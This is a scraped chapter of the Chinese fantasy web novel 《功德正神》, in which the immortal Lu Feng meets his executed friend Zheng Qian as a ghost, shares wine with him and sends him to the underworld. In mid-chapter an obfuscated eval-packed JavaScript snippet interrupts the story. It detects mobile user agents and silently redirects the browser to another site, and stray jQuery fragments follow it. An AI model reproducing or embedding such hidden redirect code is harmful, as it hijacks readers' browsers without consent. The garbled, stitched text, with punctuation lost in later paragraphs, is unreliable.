第238章 先生赴约

作品:《功德正神

    知晓陆风来意,常德银便松了一口气。


    晚间,陆风带着大青牛从城隍庙的后院腾云离去。


    众神行礼,“恭送先生。”


    陆风离开许久后,一众鬼神还在院中站着,心情都有些激动。


    下溪村,乡间小道上。


    一精瘦汉子扛着捆柴往村子走去,可就在他低头喘口气的功夫,前方突然凭空出现一个青衫男子,身后还跟着一头摇着尾巴的大青牛。


    “奇了怪了~”


    汉子嘀咕一声,明明方才他前面还一个人影都没有,可这一眨眼的功夫就突兀地出现一人一牛。


    他还以为是自己眼花了,便扛着柴跟上去看看。


    那青衫男子走得慢,他没两下就追上人了,但走近一看便愣住。


    面前男子不染尘埃,未化完的白雪铺在脚下,负手而行时在雪上留下的脚印都很浅,不像他一脚踩下去,提脚时脚上都是雪和湿土。


    眼下四处无人,这人和牛出现得又如此突然,衣着还如此单薄,身体像是没什么重量,走路轻飘飘的。


    一股寒风吹来,汉子打了个冷颤,想到什么似的歇了打招呼的心思,扛着柴火快速从旁边走过,速度越来越快,没一会儿就跑出去很远。


    回到村子,汉子总算是安心了些,扛着柴火往家中去。


    家中妻子见他满头大汗,把柴火放墙角处就狂喝几碗水,不禁感到疑惑。


    “你这是怎么了,被鬼追了不成?”


    汉子闻言身躯一抖,将头探出门外紧张地四处看看,见院外什么都没有才赶紧关上房门,回头对妻子道:“小声些,别把那东西引来了。”


    见自家汉子这副模样,那妇人脸色一白,“你真遇见……了?”


    “哎~但愿不是。”


    汉子擦着额头的汗水,心有余悸道:“给我些钱,明日我买些香烛去土地爷那里拜拜。”


    “也好,拜拜心安些。”妇人摆下碗筷,“先吃饭吧,吃完就睡,免得心中悸悸的。”


    就在夫妻二人端碗时,门外突然传来敲门声。


    “谁啊!”


    汉子放下碗没防备地起身开门,见到门前人时倒吸了一口凉气,险些身体一软跌坐在地。


    “你,你……”


    “在下路过此地,恰逢天色暗淡,便想求个落脚处,讨碗热水喝。”


    屋中妇人见自家相公脸色不对,便走近一看,见是一个儒雅的青衫先生,疑惑汉子为什


    么是这个反应。


    “相公?”


    “啊?对,先生里面请。”汉子回魂,看着陆风深吸一口气,心中怕拒了惹其发怒,只能硬着头皮将人请进来。


    趁陆风坐下的功夫,汉子拉着妇人走到外面,将陆风可能是鬼的想法说与妇人听。


    那妇人十分诧异,从门缝里看了一眼端坐有礼的陆风,“不能吧,我瞧他脚下有影子,举止也有礼,怎么会是……”


    汉子也看了一眼,心中狐疑起来,“莫非是他不知道自己已经死了?”


    他听村中老人说过,有些鬼不知道自己已经死了,吃喝睡都一直按照活人的方式来。


    “试探一番,若真是如此,好好把人送走就是,可千万不能点破。”


    两人一合计便决定就这么做。


    再回到饭桌上时,妇人已经不像先前那般自然,小心地把盛满饭的碗递到陆风面前。


    “有劳。”


    “粗茶淡饭,招待不周,”汉子吃饭如嚼蜡那样小心地问:“听先生口音不像是本地人。”


    “家住大虞,为寻友人来到此处,冰天雪地的,还得多谢二位收留。”


    见陆风说话条理清晰,温和有礼,汉子疑虑消了一些,“就是添双筷子的事,先生不必客气,见先生衣着单薄,一路走来也不容易。”


    陆风笑道:“陆某学过一些拳脚手段,所以不像常人那般畏寒。”


    闻言,汉子恍然大悟,“原来先生是武人,难怪!是我想多了,还以为先生是鬼,先生勿怪。”


    如此就说得通了,夫妻俩长舒一口气。


    陆风对此哭笑不得,并未多加解释。


    蜡烛对山野的寻常人家来说是稀有东西,所以吃完饭见天黑就要早早休息了。


    睡前那汉子还嘱咐陆风,若是夜间听见什么声响可千万别出去,只当没有听见,被子蒙头一觉睡到天亮。


    陆风好奇为什么,那汉子也说不出所以然,只隐晦道:“村里这些年不太平。”


    夜色见深,陆风负手站在窗前并未睡下,不多时,就真如那汉子说的那样不安生起来,村里犬吠声一阵高过一阵,但又很突然地集体安静下来。


    陆风向前一步,身体穿过墙壁向外面走去,所过之处没有留下一个脚印。


    夜晚风声呜呜咽咽,如泣如诉。


    有俩个鬼差从陆风面前飘过,丝毫没有察觉到陆风就在身边。


    陆风负手跟上俩鬼差,步履缓慢


    却不曾落那俩鬼一步。


    鬼差在村中巡视一番,所到之处犬物噤声,瑟瑟发抖。


    见无异常后便去向着村外走去。


    陆风站在村口的百年老树下,见俩鬼差走后就显露身形在树下等着,不多时,一个孤魂从村中出来,见鬼差走后就要栖身到老树中去。


    那孤魂还是死时的模样,一身白色污脏里衣,脖颈的切口并不整齐,砍下来头被抱在臂弯里,黑白参半的发丝凌乱挂在脸庞两侧,面色白如纸。


    一个抱着自己的头在村中游荡的鬼物,难怪村中不安生。


    突然,断头鬼脚步一顿,错愕地看着树下负手而立的人,而那人也在看着他。


    “别来无恙,郑兄。”


    “你,你看得见我?”郑谦没想到面前的人竟然看得见自己。


    陆风拱手,带着歉意道:“劳郑兄久等。”


    闻言,郑谦皱着眉飘上前,把头捧在手中凑近打量陆风,而后惊愕地后退一步,恍然大悟道:“难怪你能看得见我!三十多年未见,陆兄容颜依旧,难怪,难怪……”


    “是我当日眼拙,没有看出陆兄的神异。”


    郑谦看着陆风叹息,自嘲一笑,“我原本还在担心我们重逢时阴阳相隔,说不上话,又担心陆兄你早已身去,不能赴约,却是独独没有想过陆兄你是得道高人。”


    “只是一些寻常手段罢了,”陆风挥手间一方矮桌出现在树下,“陆某请郑兄喝杯酒赔罪如何?”


    “陆兄说笑了,我这模样要怎么喝?”


    郑谦把自己的头提着放在桌上,头身分离的模样看着有些渗人。


    “且看陆某的。”陆风一挥手,白光包裹郑谦的头飞落到他的脖颈上,等白光消散,头身已经长好了,一点砍头的痕迹都没有留下。


    郑谦摸摸自己的脖子,又摸摸自己的头,惊喜非常,“陆兄不知道,那刽子手的刀不知道是不是人砍多了,刀刃都卷起来了,给我砍了三四下才砍断,当时我可是被疼死的。”


    说完又激动道:“陆兄这一杯酒可抵消不了你来迟的五六年。”


    郑谦说着就在陆风对面坐下,显然对陆风的身份已经不大在意了。


    “我也未曾预料到。”陆风从袖里乾坤中取出一个酒葫芦,这酒还是之前剩余的一点。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011122|111590||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    哗哗酒水声在树下响起,配着这雪色饮冷酒,堪称绝唱。


    “郑兄当年说要站在万人之上扬名天下,要赤燕


    摆脱末流王朝之名要天下百姓心安理得地享受安宁……这些不知实现与否?”


    闻言郑谦抬着酒杯的手一顿而后失意地笑出声“难得陆兄还记得我那酒醉之言不过可真应了别人的话我就是个半步丞相。”


    杯中酒被一饮而尽郑谦意外发现自己竟然能尝到酒的味道。


    “陆兄的酒是好酒我许久没喝到了。”


    “喝酒误事。”陆风如此说着却依旧在给郑谦斟酒。


    “是啊喝酒误事。”


    他便是在家中喝醉酒说了不该说的话加之得罪了人这才沦落到身首异处的地步。


    郑谦借着酒意将过去半生经历一一说与陆风听。辉煌的、失意的如今再回头看都如黄粱一梦。


    “兜兜转转又回到原地了。”


    志向、功名、抱负……到头来都是一场空半步丞相名副其实。


    郑谦叹息着可话锋一转又道:“不过我还是那句话大丈夫绝不回头!就是可惜了没能像大虞的那位纪相一样大展拳脚流芳百世。”


    说起来大虞的那位纪相年纪与他相仿甚至还小几岁。


    “不谈我这些不值一提的事了说说陆兄吧仙乡何处?”


    郑谦是见过修士的他瞧陆风要比那些普通散修厉害应当是有宗门的。


    可陆风却说“无门无派就是一个小山村的教书先生……现在也不算了当个闲散游人。”


    他如今已经不是教书先生了。


    ……


    酒过三巡郑谦还是像从前那样不胜酒力倒在桌上喃喃自语。


    “见了陆兄约定已了我也该走了不用再躲着那些鬼差了。”


    闻言陆风端着酒杯笑道:“鬼差若是要捉拿你自有无数办法叫你逃脱不得。”


    闻言郑谦拍拍天旋地转的头细细思索陆风话中的意思后开怀大笑。


    “人间常说鬼神无情可明明能做鬼神的都是有情有义之辈看来还是世人眼拙不冤我不冤哈哈哈哈哈。”


    天边翻起鱼肚头顶树叶被寒风裹挟沙沙作响


    陆风抬头看着老树见其树干中心有微薄灵气如水光流动不禁感叹缘分的神奇。


    当初郑谦喝醉打翻山神所酿的酒滋养了这棵老树如今这老树为郑谦提供栖身之地。


    一恩一报还是那句话——


    “时也命也。”


    天将白遗愿已了郑谦该去地府了。


    陆风剑指立在胸前轻道:“召来!”


    他声音平静却传至千里那原本已经走远的俩个鬼差身体不受控制地突然出现在村口老树下。


    俩鬼差对自己突然移位的事又惊愕又不解。


    这时树下的陆风突然开口:“带他回地府。”


    说着一枚正神令牌出现在手中俩鬼差原本还在疑惑陆风是谁但是在迷茫中看了令牌一眼后便立马正色起来对着陆风拱手行礼。


    陆风将正神令牌放在郑谦手中然后对俩鬼差挥挥手。


    鬼差见状对视一眼明白倒在这桌上的醉鬼醒来后就不可同日而语了。


    天色蒙蒙亮陆风回到那户农家在桌上留下银两和字条便带着大青牛离开。


    离开村子后迎着晨光继续向前走去。


    三月春。


    冰雪消融。


    陆风来到淮南城听闻这里有座香火不错的道观就想来此看看。


    好巧不巧他刚到城门口就有一个道士模样的人揭下了城墙上贴着的捉鬼告示。


    并扬言道:“这鬼道爷我捉定了!”